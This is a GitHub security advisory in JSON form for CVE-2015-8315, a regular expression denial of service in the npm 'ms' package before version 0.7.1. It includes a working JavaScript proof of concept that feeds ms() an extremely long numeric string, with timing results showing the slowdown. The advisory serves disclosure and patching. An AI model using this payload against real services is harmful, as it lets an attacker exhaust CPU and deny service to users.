{"id":"GHSA-3fx5-fwvr-xrjg","summary":"Regular Expression Denial of Service in ms","details":"Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n## Proof of Concept\n```javascript\nvar ms = require('ms');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i\u003c=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n\n```\n\n### Results\nShowing increase in execution time based on the input string.\n```\n$ time node ms.js 10000\n\nreal\t0m0.758s\nuser\t0m0.724s\nsys\t0m0.031s\n\n$ time node ms.js 20000\n\nreal\t0m2.580s\nuser\t0m2.494s\nsys\t0m0.047s\n\n$ time node ms.js 30000\n\nreal\t0m5.747s\nuser\t0m5.483s\nsys\t0m0.080s\n\n$ time node ms.js 80000\n\nreal\t0m41.022s\nuser\t0m38.894s\nsys\t0m0.529s\n```\n","aliases":["CVE-2015-8315"],"modified":"2024-08-01T16:44:35Z","published":"2017-10-24T18:33:36Z","database_specific":{"cwe_ids":["CWE-1333","CWE-400"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2020-06-16T20:55:05Z","nvd_published_at":"2017-01-23T21:59:00Z"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-8315"},{"type":"WEB","url":"https://github.com/unshiftio/millisecond"},{"type":"WEB","url":"https://nodesecurity.io/advisories/46"},{"type":"WEB","url":"https://support.f5.com/csp/article/K46337613?utm_source=f5support&amp%3Butm_medium=RSS"},{"type":"WEB","url":"https://support.f5.com/csp/article/K46337613?utm_source=f5support&amp;utm_medium=RSS"},{"type":"WEB","url":"https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2016/04/20/11"},{"type":"WEB","url":"http://www.securityfocus.com/bid/96389"}],"affected":[{"package":{"name":"ms","ecosystem":"npm","purl":"pkg:npm/ms"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.7.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2017/10/GHSA-3fx5-fwvr-xrjg/GHSA-3fx5-fwvr-xrjg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}